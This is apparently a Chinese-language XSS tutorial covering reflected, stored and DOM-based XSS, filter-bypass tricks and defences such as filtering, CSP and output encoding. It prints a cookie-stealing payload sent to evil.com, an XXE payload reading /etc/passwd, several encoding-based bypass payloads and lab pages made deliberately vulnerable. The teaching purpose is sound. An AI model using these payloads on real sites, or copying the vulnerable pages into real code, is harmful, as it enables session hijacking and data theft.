关于 Web 漏洞原理与利用:2. XSS(跨站脚本攻击)
一、原理:
用户输入未过滤被执行
攻击者输入的内容,如果没有被正确处理(过滤/转义),被网页原样输出到浏览器中,那么这些内容就可能会被浏览器当成代码执行,这就是 XSS(跨站脚本攻击)。
三个关键部分
1)用户输入
用户可以控制的数据(攻击者当然也就可以),比如:
-
URL 参数:
?name=张三
-
表单内容:用户名、评论内容
-
Cookie 值、Referer
-
上传的 HTML 内容(富文本)
2)未过滤
服务器或者前端在把这些用户输入写进网页时:
-
没有去掉危险标签,如
<script>
、onerror
-
没有进行转义,比如
<
、"
-
没有判断当前上下文是否能执行 JS
3)被执行
浏览器解析 HTML 时,遇到用户输入的恶意代码,就直接执行,比如弹窗、盗取 cookie、跳转钓鱼站等。
1. 示例
正常情况:
<p>欢迎你,张三</p>
被攻击:
用户输入:
<script>alert('XSS')</script>
最终页面:
<p>欢迎你,<script>alert('XSS')</script></p>
浏览器看到 <script>
标签,就会执行里面的 JavaScript,弹出警告框。这段 JS 原本是“数据”,却被当作“代码”运行了!
2. 哪些位置会导致“被执行”?
用户输入如果出现在以下几种位置,很容易触发 XSS:
上下文类型 | 代码片段 | 危险点 |
---|---|---|
HTML 内容区 | <div>{{content}}</div> | 可注入 <script> |
HTML 属性值 | <img src="{{url}}"> | 可注入 onerror=... 或破坏结构 |
JavaScript 字符串 | var a = "{{input}}"; | 可闭合字符串后执行 JS |
URL 中 | <a href="{{link}}"> | 可注入 javascript:... |
CSS 中 | style="background:url({{img}})" | 可注入 JS 协议 |
3. 浏览器为什么会执行?
浏览器解析 HTML → 遇到 <script>
或 JS 上下文 → 执行其中的 JavaScript 代码
浏览器没有能力判断哪些代码是“攻击者写的”,它只会按照规则解析和执行。如果把危险内容放在了执行上下文里,浏览器就一定会执行。
4. 案例
网站有评论功能,用户输入评论:
<p>{{ comment }}</p>
攻击者提交评论:
<script>fetch('http://evil.com?cookie=' + document.cookie)</script>
其他用户访问该页面时,浏览器执行这段脚本,攻击者就能拿到他们的 cookie,实现会话劫持。
5. 实验
建立 XSS测试.html 文件测试:
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>XSS 测试</title></head>
<body><h2>XSS测试页面</h2><div id="output"></div><script>const params = new URLSearchParams(location.search);const input = params.get("input");// 故意引入 XSS 漏洞:将用户输入直接插入 innerHTMLconst outputDiv = document.getElementById("output");outputDiv.innerHTML = input;// 浏览器的安全机制 —— 插入的 <script> 标签不会执行! 所以增添如下代码// 查找其中的 script 标签,重新执行const scripts = outputDiv.getElementsByTagName("script");for (let script of scripts) {const newScript = document.createElement("script");newScript.text = script.text;document.body.appendChild(newScript);}</script>
</body>
</html>
方法一:用「Live Server」启动本地网页,访问 http://localhost:5500/XSS测试.html?input=...
-
VS Code 安装并启用 Live Server 插件。
-
右键 HTML 文件 → 选择 Open with Live Server。
-
浏览器打开的地址会变成
http://127.0.0.1:5500/XSS测试.html?input=...
,这样就支持 URL 参数。 -
JS 代码能正确读取参数并执行。
访问:
http://127.0.0.1:5500/XSS测试.html?input=<script>alert(1)</script>
会看到一个弹窗,这就是 XSS 原理最基本的演示。
方法二:使用本地简单 HTTP 服务器(Python)
如果有 Python,打开终端,进入 HTML 文件目录,运行:
python -m http.server 8000
然后浏览器打开:
http://localhost:8000/XSS测试.html?input=<script>alert(1)</script>
一样可以看到弹窗
6. 防止“未过滤被执行”
核心原则:用户输入是数据,永远不能当代码看待
常见防御:
-
输出前进行 HTML 转义:如
<
、>
、"
-
不拼接 HTML,使用模板引擎的自动转义功能(如 React、Vue 默认安全)
-
严格 CSP(内容安全策略)
-
前后端联动做白名单过滤
总结
元素 | 内容 |
---|---|
用户输入 | 攻击者可以控制的内容 |
未过滤 | 没有进行转义、校验、过滤 |
被执行 | 浏览器把它当代码运行了 |
原理核心:数据变代码,浏览器帮攻击者执行了它。
二、分类:
反射型XSS
反射型 XSS(Reflected XSS)是指攻击者构造一个包含恶意脚本的 URL,当用户点击这个链接时,浏览器请求该 URL,服务端将 URL 中的参数**“原样返回”到页面中**,恶意脚本就会被浏览器执行。
反射:攻击内容从请求发出后,被原样“反射”回响应中。
攻击流程
-
攻击者构造恶意 URL,注入脚本
-
用户点击 URL,向服务器发起请求
-
服务器把用户提交的参数直接输出到页面(未过滤)
-
浏览器接收到返回页面时,直接执行了注入的脚本
1. 示例
服务端代码(假设):
# Flask 示例
@app.route('/hello')
def hello():name = request.args.get('name')return f"<h1>Hello, {name}</h1>"
用户访问链接:
http://example.com/hello?name=张三
返回页面:
<h1>Hello, 张三</h1>
攻击者构造链接:
http://example.com/hello?name=<script>alert('XSS')</script>
返回页面变成了:
<h1>Hello, <script>alert('XSS')</script></h1>
此时浏览器直接执行了 <script>
标签,弹出 alert 框,这就是反射型 XSS。
2. 特点
特性 | 描述 |
---|---|
非持久性 | 恶意代码不会存储在服务器,只在 URL 中 |
用户点击触发 | 攻击成功需要用户点击特定链接 |
一次性 | 页面刷新或参数改变就失效 |
攻击传播方式 | 通过邮件、QQ群、钓鱼网站、短链接传播 |
3. 攻击者构造 URL 的技巧
为了让用户上钩,攻击者会把恶意链接伪装成正常链接,比如:
-
使用 URL 编码
-
<script>
变为%3Cscript%3E
-
-
用短链接服务(如 t.cn、bit.ly)隐藏真实内容
-
引诱点击:
-
“你有一份快递,请确认信息:
http://xx.com/hello?name=...
”
-
4. 漏洞形成原因
-
服务端把用户参数直接拼接进 HTML 页面
-
没有做 HTML 实体转义(如
<
→<
) -
没有限制参数的类型和内容
5. 防御方法
1)输出编码(最重要)
-
将用户输入在插入 HTML 前做转义
-
<
→<
,>
→>
,"
→"
2)使用安全框架
-
模板引擎如:Jinja2(Flask)、Thymeleaf(Java)、Vue、React 都默认输出转义
3)内容安全策略(CSP)
-
禁止页面加载外部脚本、禁止内联脚本执行
4)严格校验参数
-
name 参数只能是字母/数字,使用白名单校验
总结
项目 | 内容 |
---|---|
类型 | 反射型 XSS(Reflected XSS) |
攻击入口 | URL 参数 |
存储位置 | 不存储,实时反射 |
执行时机 | 用户点击链接后立即 |
危害 | 弹窗、盗 Cookie、钓鱼、跳转恶意站 |
防御 | 输出编码 + 参数校验 + CSP |
反射型 XSS 就是攻击者把恶意脚本写到 URL 中,服务器没有过滤就原样返回,浏览器直接执行了它。
=======================================
存储型XSS
存储型 XSS(Stored XSS)是指:攻击者提交的恶意脚本被服务端永久保存,其他用户每次访问相关页面时都会触发该脚本。
脚本被“存起来”,每次访问就被“执行”一次。
和反射型的对比
项目 | 存储型 XSS | 反射型 XSS |
---|---|---|
是否持久 | 持久(写进数据库) | 临时(仅 URL 中) |
用户触发方式 | 浏览页面就触发 | 必须点击恶意链接 |
危害范围 | 大,影响所有访问者 | 小,仅限点击者 |
常见场景 | 评论、留言、昵称、私信 | 搜索框、URL 参数 |
攻击流程(五步)
-
攻击者提交恶意内容(如评论)
-
服务端把内容存入数据库
-
正常用户访问该页面
-
页面从数据库读取内容,输出到页面中
-
浏览器解析页面时执行恶意脚本
1. 案例:评论系统
用户提交评论功能如下:
<form action="/submit_comment" method="post"><textarea name="comment"></textarea><input type="submit">
</form>
服务器收到评论后,直接存入数据库:
db.insert("comments", comment)
然后页面展示评论:
<div class="comment">{{ comment }}
</div>
攻击者提交:
<script>fetch("http://evil.com?cookie=" + document.cookie)</script>
普通用户访问时:
服务器返回页面内容:
<div class="comment"><script>fetch("http://evil.com?cookie=" + document.cookie)</script>
</div>
浏览器立刻执行脚本,攻击者成功获取用户 cookie。
2. 常见注入位置
-
用户名 / 昵称
-
评论 / 留言板
-
论坛帖子 / 私信内容
-
富文本编辑器内容(不设白名单)
-
上传的
.html
文件(静态页面)
3. 危害有多严重?
-
窃取所有访问者的 cookie → 劫持账户
-
注入恶意 JS 窃取密码、银行卡号
-
引导用户跳转钓鱼页面
-
自动转发攻击内容(蠕虫式 XSS)
-
管理后台如果中招,可能导致网站被完全控制(如植入木马、篡改内容)
4. 防御方法
1)输出编码(核心)
在展示评论、昵称、文章等用户内容时,一定要做 HTML 实体编码:
-
<
→<
-
>
→>
-
"
→"
一定是在“展示环节编码”,而不是“存储环节过滤”。
2)富文本要严格白名单
如果是富文本编辑器(如 KindEditor、TinyMCE)允许部分 HTML,要使用如:
-
DOMPurify 进行白名单清洗
-
只允许安全标签(如
<b>
,<i>
,<img src>
),禁止<script>
,onerror
,javascript:
3)存储前进行内容检测(推荐)
-
提交内容长度限制
-
拒绝包含
<script>
、<iframe>
、onload=
等危险字符串 -
正则或 AST 分析检测 JS 注入尝试
4)设置 CSP(内容安全策略)
Content-Security-Policy: default-src 'self'; script-src 'self'
-
禁止外部脚本
-
禁止内联脚本
5. 示例页面
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><title>XSS 演示</title>
</head><body><h2>输入评论(支持 XSS 演示)</h2><form id="commentForm"><textarea id="commentInput" rows="5" cols="50" placeholder="请输入评论内容"></textarea><br><button type="submit">提交</button></form><h2>评论区</h2><div id="commentList"></div><script>// 获取并插入“评论”const stored = localStorage.getItem("xss_comment");if (stored) {// 1. 创建临时容器const tempDiv = document.createElement("div");tempDiv.innerHTML = stored;// 2. 扫描其中的 <script> 标签并手动执行(这是关键)const scripts = tempDiv.querySelectorAll("script");scripts.forEach(script => {const newScript = document.createElement("script");if (script.src) {newScript.src = script.src;} else {newScript.textContent = script.textContent;}document.body.appendChild(newScript);});// 3. 把内容插入页面(含 script 外的部分)document.getElementById("commentList").appendChild(tempDiv);}// 表单提交事件document.getElementById("commentForm").addEventListener("submit", function (e) {e.preventDefault();const comment = document.getElementById("commentInput").value;// 存储评论localStorage.setItem("xss_comment", comment);// 模拟刷新location.reload();});</script>
</body></html>
访问链接模拟存储结果:
?comment=<script>alert("XSS")</script>
用户访问页面,看到评论区立即弹窗。
然后:
-
打开页面 → 按
F12
打开控制台 -
点击上方的「Application」标签页
-
左侧导航栏里点「**Local Storage → http://127.0.0.1:5500**」
可以看到 存储了 评论数据或者攻击者提交的恶意脚本。
总结
项目 | 内容 |
---|---|
类型 | 存储型 XSS(Stored XSS) |
攻击持久性 | 被存储在数据库 |
用户触发条件 | 自动触发,无需点击 |
常见注入点 | 评论、帖子、用户名、富文本 |
危害程度 | 高,可能影响所有用户甚至管理后台 |
防御措施 | 输出转义、富文本清洗、CSP、安全编码规范 |
=======================================
DOM型XSS
DOM 型 XSS(DOM-based XSS)是指漏洞存在于前端 JavaScript 代码中,浏览器在解析页面并运行 JS 时,因为未对用户输入做处理,导致恶意代码被执行。
它完全发生在浏览器端,服务端甚至不知道有攻击发生。
1. 举例
<!-- 页面代码 -->
<p>欢迎你,<span id="username"></span></p><script>const name = location.hash.substring(1); // 获取 # 后面的内容document.getElementById('username').innerHTML = name;
</script>
用户访问链接:
http://example.com/#<img src=x onerror=alert('XSS')>
渲染后页面变为:
<p>欢迎你,<span id="username"><img src=x onerror=alert('XSS')></span></p>
当 <img>
加载失败,触发 onerror
,弹出 XSS。
2. 和其他 XSS 的区别
特征 | 反射型 / 存储型 XSS | DOM 型 XSS |
---|---|---|
漏洞位置 | 服务端输出(HTML 模板) | 前端 JS 代码(DOM 操作) |
攻击执行位置 | 响应内容中 | 浏览器执行 JS 时 |
服务端是否参与 | 参与 | 完全不参与 |
检测难度 | 相对容易 | 更隐蔽更难检测 |
常见位置 | URL 参数 / 表单 / 评论区 | location , document , innerHTML , eval , 等 |
3. 攻击流程(四步)
-
攻击者构造一个 URL,包含恶意代码在 URL 参数、锚点等位置
-
用户点击链接后加载页面
-
前端 JS 从
location.hash
/search
/document.cookie
等读取数据 -
这些数据被拼接到 DOM 中或被
eval()
执行 → 触发脚本
4. 危险写法
危险代码 | 原因 |
---|---|
element.innerHTML = userData | 会执行嵌套脚本标签 |
eval(userData) | 直接执行任意 JS 表达式 |
location.href = userInput | 可用于跳转攻击 |
document.write(userData) | 也会执行脚本 |
漏洞点关键来源
-
location.href
,location.search
,location.hash
-
document.referrer
-
document.cookie
-
window.name
5. 示例:搜索框拼接 XSS
示例页面代码:
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8" /><title>DOM型XSS演示</title>
</head>
<body><input id="search" type="text" /><button onclick="search()">搜索</button><div id="result"></div><script>function search() {// 获取 URL 中 kw 参数值(不含问号)const query = location.search; // ?kw=...const params = new URLSearchParams(query);let keyword = params.get('kw') || '';// 对参数进行 URL 解码,防止显示编码字符串keyword = decodeURIComponent(keyword);// 把 keyword 赋值给输入框的 value 属性,安全的document.getElementById("search").value = keyword;// 危险点!直接 innerHTML 插入未过滤的用户输入,导致 XSSdocument.getElementById("result").innerHTML = "您搜索了:" + keyword;}// 页面加载时自动执行搜索函数window.onload = search;</script>
</body>
</html>
访问链接:
http://127.0.0.1:5500/DOMxss.html?kw=<img src=x onerror=alert(1)>
结果页面:
您搜索了:<img src=x onerror=alert(1)>
浏览器执行 XSS。
6. 防御方法
1)不使用 innerHTML
显示用户数据
-
用
textContent
/innerText
替代
el.textContent = userInput; // 安全
2)所有输入都做白名单验证
-
URL 参数、cookie、hash 等都要校验格式
-
只允许字母、数字、下划线等,避免注入 HTML
3)使用 DOMPurify 清洗危险 HTML
-
前端引入 DOMPurify
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
4)尽量避免使用 eval()
、setTimeout(str)
等执行字符串
5)配置 CSP(内容安全策略)
Content-Security-Policy: script-src 'self'; object-src 'none'
-
禁止内联脚本执行,有效拦截部分 DOM XSS
7. 安全开发
-
前端读取任何来源的数据(
URL
,cookie
,localStorage
)都要当做不可信 -
不信任用户、URL、外部 API 的任何内容
-
安全框架如 React、Vue 默认用 Virtual DOM,能减少 XSS,但不是万无一失
总结
项目 | 内容 |
---|---|
类型 | DOM 型 XSS(前端型) |
漏洞位置 | 前端 JS 代码 |
攻击点 | innerHTML , eval , location.hash 等 |
危害 | 窃取信息、钓鱼跳转、Cookie 劫持 |
特点 | 服务端完全无感知,检测困难 |
防御方法 | 替换危险 API、严格校验、DOMPurify、CSP |
DOM 型 XSS 是因为前端 JS 直接使用用户输入操作 DOM,没有过滤,从而执行了恶意脚本。
三、绕过技巧:
HTML 实体编码
HTML 实体编码(HTML Entity Encoding)是把具有特殊意义的字符,转换为浏览器不会解释的“安全格式”的一种方式。
为何需要?
浏览器会把 <script>alert(1)</script>
当作 HTML/JS 执行,造成 XSS 漏洞。但如果变成:
<script>alert(1)</script>
浏览器只会显示文本,而不会执行脚本。
1. 常见 HTML 实体字符对照表
原始字符 | HTML 实体 | 描述 |
---|---|---|
< | < | 小于号(标签起始) |
> | > | 大于号(标签结束) |
& | & | 与号 |
" | " | 双引号 |
' | ' | 单引号(也可 ' ) |
/ | / | 正斜杠(某些情况需要) |
2. 作用机制(原理)
浏览器在渲染 HTML 时:
-
识别实体字符(如
<
) -
显示为普通字符
<
,但不作为 HTML 标签解析
例如,下面代码:
<div><script>alert(1)</script></div>
显示结果是:
<script>alert(1)</script>
但这段代码不会执行,因为不是 HTML 中的真正 <script>
标签,只是文本。
3. 编码位置很重要
安全位置(适合编码)
-
HTML 元素内容中
-
HTML 属性值中
-
<textarea>
、<pre>
、表单中输出用户输入时
危险位置(编码无效或可能绕过)
-
写到 JS 代码块中(如
<script>var a = 'xxx';</script>
) -
写到事件触发器中(如
<button onclick="xxx">
) -
写到
<style>
或style=
属性中
这些场景需要 上下文敏感的输出编码机制(Context-aware escaping)。
4. 错误示例
示例 :只编码 < >
,没处理引号
<input value="{{ user_input }}">
用户输入:" onfocus=alert(1) autofocus="
最终变为:
<input value="" onfocus=alert(1) autofocus="">
输入值中包含 "
,跳出了属性值边界,插入了恶意属性!
正确处理方式:
-
在 HTML 属性中输出前,也要编码引号(
"
、'
) -
使用框架提供的上下文转义机制(如 Django 的
{{ user_input|escape }}
)
5. HTML 实体编码的绕过技巧
1)双重编码绕过
& amp;lt; → < → < → 最终被解释为标签
2)没有过滤 '
和 "
造成属性逃逸,插入恶意事件:
<input value="{{ user_input }}">
// 输入:" onmouseover=alert(1) "
3)宽字节注入/编码混淆
部分服务对字符编码处理不一致,可能还原出原始 HTML。
6. 安全输出方案
场景 | 编码方式 | 工具推荐(部分语言) |
---|---|---|
HTML 内容 | HTML 实体编码 | Python: html.escape() |
HTML 属性 | HTML 实体 + 引号处理 | JavaScript: textContent |
JS 中(变量值) | JSON 编码或字符转义 | JSON.stringify() |
URL 中 | URL 编码(非实体编码) | encodeURIComponent() |
小结
项目 | 是否说明 |
---|---|
能防止 XSS 吗? | 可防止大多数标签插入型 XSS |
全面吗? | 不够,不能防 JS、CSS、URL、事件注入等 |
推荐做法 | 配合上下文编码系统 + CSP 使用最安全 |
=======================================
JS 编码绕过
在XSS防御中,网站会对用户输入的脚本字符做过滤(如过滤 <
、>
、"
、'
等),但如果防御只针对明文字符过滤,攻击者可以使用 JavaScript 支持的各种编码方式,把危险字符隐藏起来绕过过滤,从而执行恶意脚本。
1. 常见的 JS 编码绕过方式
1)Unicode编码(\uXXXX)
使用 \u
后面跟4个十六进制数来表示字符,例如:
alert('\u0061\u006c\u0065\u0072\u0074'); // alert
-
\u0061
表示小写字母 'a' -
通过这种方式,攻击者可以写出浏览器识别的有效脚本,但代码中不出现敏感字符
<
、>
。
2)十六进制编码(\xXX)
用 \x
加两个十六进制数来表示字符:
alert('\x61\x6c\x65\x72\x74'); // alert
与 Unicode 类似,字符被编码隐藏。
3)字符串拼接
攻击者拆分敏感字符,分成多个字符串拼接,绕过简单过滤:
var s = "<scr" + "ipt>alert(1)</scr" + "ipt>";
eval(s);
简单的过滤器可能检测不到完整的 <script>
。
4)转义序列与编码混合
用多种编码方式混合,增加检测难度:
var s = "\x3c\x73" + "cript\x3ealert(1)\x3c/script\x3e";
eval(s);
这里 \x3c
是 <
,\x3e
是 >
。
5)ASCII码转换
用 String.fromCharCode()
动态生成字符:
var s = String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62); // <script>
eval(s + "alert(1)</script>");
2. 这种绕过为什么有效?
-
因为过滤规则只针对明文字符串检测
<script>
或<
,而对编码字符不敏感。 -
过滤器没有把编码还原成原始字符再检查,导致攻击代码得以通过。
-
有些过滤器甚至只过滤
<
>
字符,忽略了\u003c
、\x3c
等编码。
3. 如何防范 JS 编码绕过?
-
对用户输入进行统一的解码还原,将所有编码(Unicode、十六进制)转换成对应字符后再过滤。
-
对输出进行严格的编码转义,比如对
<
、>
、&
、'
、"
等做 HTML 实体编码。 -
使用内容安全策略(CSP),限制页面执行内联脚本和未知来源脚本。
-
使用成熟的安全库做输入校验和输出编码,避免手写低级过滤逻辑。
=======================================
SVG 利用
SVG是什么?
-
SVG(Scalable Vector Graphics)是基于 XML 的矢量图形格式,用于网页中绘制图形。
-
它既可以作为独立文件,也可以内嵌在 HTML 页面里。
-
SVG支持事件绑定和内联脚本,因而可以成为XSS攻击载体。
SVG能被利用做XSS的原因
-
SVG文件本质上是XML,可以包含JavaScript代码(如事件属性onload、onclick等)。
-
浏览器会解析SVG里的事件脚本,执行其中JS代码。
-
很多过滤器忽视了SVG的特殊性,未能正确过滤SVG标签内的事件属性和内联脚本。
-
SVG允许内嵌HTML(通过
<foreignObject>
),增加攻击面。
1. 常见SVG XSS攻击方式
1)利用事件属性
当SVG加载时,onload
事件执行JS代码。
2)利用<foreignObject>
嵌套HTML
<foreignObject>
允许直接嵌入HTML和脚本。
3)利用<image>
标签的xlink:href
属性
有些浏览器支持在xlink:href
里执行JS代码。
4)利用实体注入(XXE 漏洞,配合服务端)
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text>
</svg>
需后端 XML 解析器未禁用实体(Entity)才可触发。
2. 绕过与隐蔽性
-
SVG结构复杂且可嵌套,混合XML和HTML,增加了检测难度。
-
事件属性和内联脚本可以混入图形元素中,不易被注意。
-
允许在图形中隐藏恶意代码。
3. 防御建议
-
禁止或限制用户上传SVG文件,或对上传的SVG做严格净化(去除事件属性、脚本等)。
-
使用内容安全策略(CSP),限制内联脚本和未经授权的资源加载。
-
对所有用户输入和上传内容做严格的白名单过滤,避免恶意代码注入。
-
输出时做正确的编码,避免直接插入未经处理的SVG代码。
-
安全库和工具:可以使用专门的SVG净化工具(如 DOMPurify)来过滤SVG代码。
总结
SVG因为自身支持事件和内嵌HTML特性,成为XSS攻击的利器。防御时不仅要关注传统HTML,也要特别对待SVG的特殊属性和结构,防止绕过过滤器造成安全隐患。
四、防御方法:
过滤
“过滤”是防止 XSS 的第一道防线,指的是在接收到用户输入时,检测并剔除或转义危险内容,以防止恶意脚本进入系统或存储被滥用。
目标:
-
阻止
<script>
,onerror=
,javascript:
等注入。 -
只接受预期格式的内容。
-
把不安全内容清理或替换掉。
1. 过滤方式分类
1)白名单过滤(推荐)
只允许特定的标签、属性、字符等。
例子:
只允许 <b>
, <i>
, <p>
标签,禁止其他标签:
用户输入: <b>你好</b><script>alert(1)</script>
过滤后: <b>你好</b>alert(1)
实现方式:
-
使用 HTML 解析器+白名单列表
-
推荐工具:
-
Python:
bleach
-
JS:
DOMPurify
-
Java:
Jsoup.clean()
-
2)黑名单过滤(不推荐)
列出危险标签和关键字进行删除,但容易被绕过。
例子:
input = input.replaceAll('<script>', '').replaceAll('</script>', '');
绕过方式很多,比如:
<scr<script>ipt>alert(1)</script>
<svg/onload=alert(1)>
3)正则过滤(需小心)
正则可对简单内容进行过滤,但不要使用正则去解析 HTML,容易错漏。
# 只允许字母和数字(用户名示例)
import re
def is_valid_username(s):return re.fullmatch(r'[a-zA-Z0-9_]{3,20}', s) is not None
2. 常见 XSS 标签和属性(过滤重点)
类型 | 示例 |
---|---|
标签 | <script> , <iframe> , <object> , <svg> |
危险属性 | onload , onerror , onclick , onmouseover 等 |
协议 | javascript: , data: , vbscript: |
这些都要过滤或转义,否则用户可以构造恶意 HTML:
<img src="x" onerror="alert(1)">
<a href="javascript:alert(1)">点击</a>
3. 常用过滤库介绍
1)DOMPurify(前端 JavaScript)
const clean = DOMPurify.sanitize(userInput);
document.body.innerHTML = clean;
-
自动过滤 XSS 标签和属性
-
支持配置白名单(如允许哪些标签)
2)Python - Bleach
import bleachsafe_html = bleach.clean(user_input,tags=['b', 'i', 'u'],attributes={},protocols=['http', 'https']
)
-
适用于 Flask/Django 等后端过滤
3)Java - Jsoup
String clean = Jsoup.clean(userInput, Whitelist.basic());
总结
策略 | 优点 | 缺点 |
---|---|---|
白名单过滤 | 安全可靠,控制性强 | 配置需全面 |
黑名单过滤 | 实现简单 | 极易绕过,不推荐使用 |
HTML 过滤库 | 效率高,实战适用广 | 依赖第三方库 |
正则匹配 | 对简单内容有效 | 不适合复杂结构 |
最佳实践建议
-
所有用户输入都应经过 白名单验证 + HTML 标签清洗
-
富文本内容必须使用过滤库(如 DOMPurify)清理
-
搭配“输出编码”与“CSP”形成多层防御体系
=======================================
CSP
CSP(Content Security Policy,内容安全策略) 是一种由服务器发送给浏览器的 HTTP 响应头,告诉浏览器在加载和执行页面资源时有哪些安全规则,限制资源来源和行为,防止恶意脚本执行。
它的核心目的是:
-
限制允许加载和执行的资源来源(脚本、样式、图片、媒体等)
-
禁止或限制内联脚本和
eval()
函数执行 -
通过策略阻止或降低 XSS 攻击风险
CSP 的基本工作原理
当浏览器收到 CSP 响应头后,会根据策略限制网页行为。
如果检测到违规行为,浏览器会阻止对应内容加载或执行,并在浏览器控制台或通过报告机制反馈。
1. CSP 常见指令(Directive)
CSP 是由多个指令组成的,每个指令负责限制特定资源类型。常见指令包括:
指令 | 作用 | 示例 |
---|---|---|
default-src | 默认资源加载来源限制,所有没指定的资源类型用它 | default-src 'self' |
script-src | 脚本加载来源限制 | script-src 'self' https://cdn.com |
style-src | 样式加载限制 | style-src 'self' 'unsafe-inline' |
img-src | 图片加载限制 | img-src * data: |
connect-src | Ajax/WebSocket 等连接来源限制 | connect-src 'self' https://api.com |
font-src | 字体加载限制 | font-src 'self' |
frame-src | iframe 的来源限制 | frame-src 'none' |
object-src | <object> , <embed> 加载限制 | object-src 'none' |
report-uri | CSP 违规事件的上报地址 | report-uri /csp-report |
2. CSP 源(Source)表达式
表达式 | 含义 |
---|---|
'self' | 仅允许当前站点域名 |
'none' | 不允许任何来源 |
'unsafe-inline' | 允许内联脚本(不推荐,降低安全) |
'unsafe-eval' | 允许 eval() 调用 |
scheme (如 https:) | 允许对应协议 |
域名(带通配符) | 允许特定域名,如 https://cdn.example.com 或 *.example.com |
3. 典型 CSP 示例
1)基础版本(允许当前域名所有资源)
Content-Security-Policy: default-src 'self';
-
只允许加载本站资源
-
禁止外部脚本、样式、图片、iframe 等资源
2)允许本站和某 CDN 脚本,禁止内联脚本
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self';
3)禁止内联脚本和 eval()
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';
4. 内联脚本和 nonce、hash
为什么要限制内联脚本?
内联脚本极易被 XSS 利用,比如:
<script>alert('xss')</script>
这段代码如果被恶意注入,就能直接执行。
nonce(一次性随机数)
可以给允许执行的内联脚本打上随机 nonce
,只有带有对应 nonce 的内联脚本会被执行。
服务器发送头部:
Content-Security-Policy: script-src 'nonce-2726c7f26c' 'strict-dynamic'; object-src 'none';
HTML:
<script nonce="2726c7f26c">console.log('安全执行');
</script>
浏览器只执行带有合法 nonce 的脚本,其他内联脚本都阻止。
hash(内容哈希)
将内联脚本内容做 SHA256 哈希,CSP 允许带有该 hash 的脚本执行。
Content-Security-Policy: script-src 'sha256-AbCdEfG...';
5. CSP 报告机制
可以指定 report-uri
或 report-to
指令,当策略被违反时,浏览器会发送 JSON 格式报告到指定地址,方便安全团队监控攻击。
Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint
6. CSP 的优势和限制
优势 | 限制 |
---|---|
有效防止绝大多数 XSS 攻击 | 配置复杂,需适配各种资源 |
阻止外部恶意脚本加载 | 不支持所有浏览器(老版本浏览器兼容性差) |
禁止内联脚本和 eval() 增强安全 | 过严可能破坏正常功能 |
通过报告机制便于发现攻击和配置问题 | 需配合开发流程动态生成 nonce 或 hash |
7. 实战建议
-
从宽松到严格逐步调整:
先用report-only
模式监控,逐步修改策略。 -
禁止内联脚本和
eval()
:
避免页面中直接写<script>
或使用eval()
。 -
结合动态生成 nonce/hash:
对必须的内联脚本,生成随机 nonce 并注入,保证安全。 -
测试覆盖所有资源:
包括第三方脚本、样式、图片、字体等,防止被误拦。 -
监控 CSP 报告,快速响应异常。
8.示例
Content-Security-Policy:default-src 'self';script-src 'self' https://cdn.example.com 'nonce-abc123';style-src 'self' 'unsafe-inline';img-src *;object-src 'none';report-uri /csp-report
1)default-src 'self';
-
含义:默认情况下,所有资源(脚本、样式、图片、字体、AJAX等)只能从本站点自身域名加载。
-
'self'
是一个特殊关键字,代表当前页面的源(协议+域名+端口)。 -
作用:限制页面资源加载来源,防止外部恶意资源注入。
2)script-src 'self' https://cdn.example.com 'nonce-abc123';
-
作用对象:专门控制JavaScript 脚本的加载来源和执行权限。
-
允许的来源:
-
'self'
:允许加载本站的脚本。 -
https://cdn.example.com
:允许加载指定 CDN 域名上的脚本。 -
'nonce-abc123'
:允许执行带有nonce="abc123"
属性的内联脚本标签。
-
-
重点:
-
这行允许两类脚本执行:外部脚本(来自本站和 CDN)和内联脚本中带指定
nonce
的。 -
阻止无
nonce
或其它来源的脚本执行,提升安全。
-
3)style-src 'self' 'unsafe-inline';
-
作用对象:控制样式表(CSS)的加载。
-
'self'
:允许加载本站的样式文件。 -
'unsafe-inline'
:允许执行内联样式(比如<style>
标签内的 CSS,或元素内的style="..."
)。 -
说明:
-
允许内联样式降低了安全性(有时被利用来绕过 CSP),但有些页面功能必须使用内联样式。
-
若想更安全,建议去掉
'unsafe-inline'
,改用外部样式或 nonce/hash。
-
4)img-src *;
-
作用对象:限制图片的加载来源。
-
*
表示允许加载任意来源的图片。 -
理由:
-
图片跨域加载常见且无太大风险,一般允许所有来源。
-
但如果安全要求高,可以限定特定域名。
-
5)object-src 'none';
-
作用对象:控制
<object>
,<embed>
,<applet>
标签加载内容的来源。 -
'none'
表示禁止加载所有<object>
等标签的资源。 -
意义:
-
这些标签容易被用来加载恶意插件或 Flash 内容,禁用可减少攻击面。
-
6)report-uri /csp-report
-
作用:指定浏览器当检测到 CSP 违规(违反上述规则)时,将违规信息以 POST 请求发送到服务器的
/csp-report
端点。 -
好处:
-
方便运维和安全人员收集 CSP 违规情况,及时修正策略和发现攻击尝试。
-
这段 CSP 策略:
-
默认只允许本站资源;
-
允许脚本来自本站和指定 CDN,并允许带指定
nonce
的内联脚本执行; -
允许内联样式和本站样式文件;
-
允许加载任何图片;
-
禁止使用
<object>
等容易被攻击的插件加载标签; -
并通过
report-uri
实时上报策略违反情况。
=======================================
输出编码
输出编码(Output Encoding)是指在将用户输入的数据输出到网页时,根据不同的上下文(HTML、属性、JavaScript、URL 等)对数据中的特殊字符进行转义或编码,使它们失去执行意义,防止恶意脚本注入和执行。
换句话说,就是把“潜在危险”的字符,转换成浏览器不会执行的安全格式。
为什么要做输出编码?
-
XSS 的根本原因是浏览器把恶意脚本代码当作正常内容执行。
-
通过输出编码,把用户输入的
<
,>
,'
,"
等特殊字符转换成 HTML 实体或其他安全格式,浏览器不会把它们当成代码执行,而是显示成普通文本。 -
输出编码是防御 XSS 的关键环节,即使输入过滤做得不完美,输出编码依然能保护页面安全。
1. 不同上下文下的输出编码方式
Web 页面中用户输入可能会被嵌入不同位置,不同位置的编码规则不同:
上下文 | 需要编码的字符 | 编码方式示例 |
---|---|---|
HTML 内容 | < , > , & , " , ' | < → < ,> → > ,& → & ," → " ,' → ' |
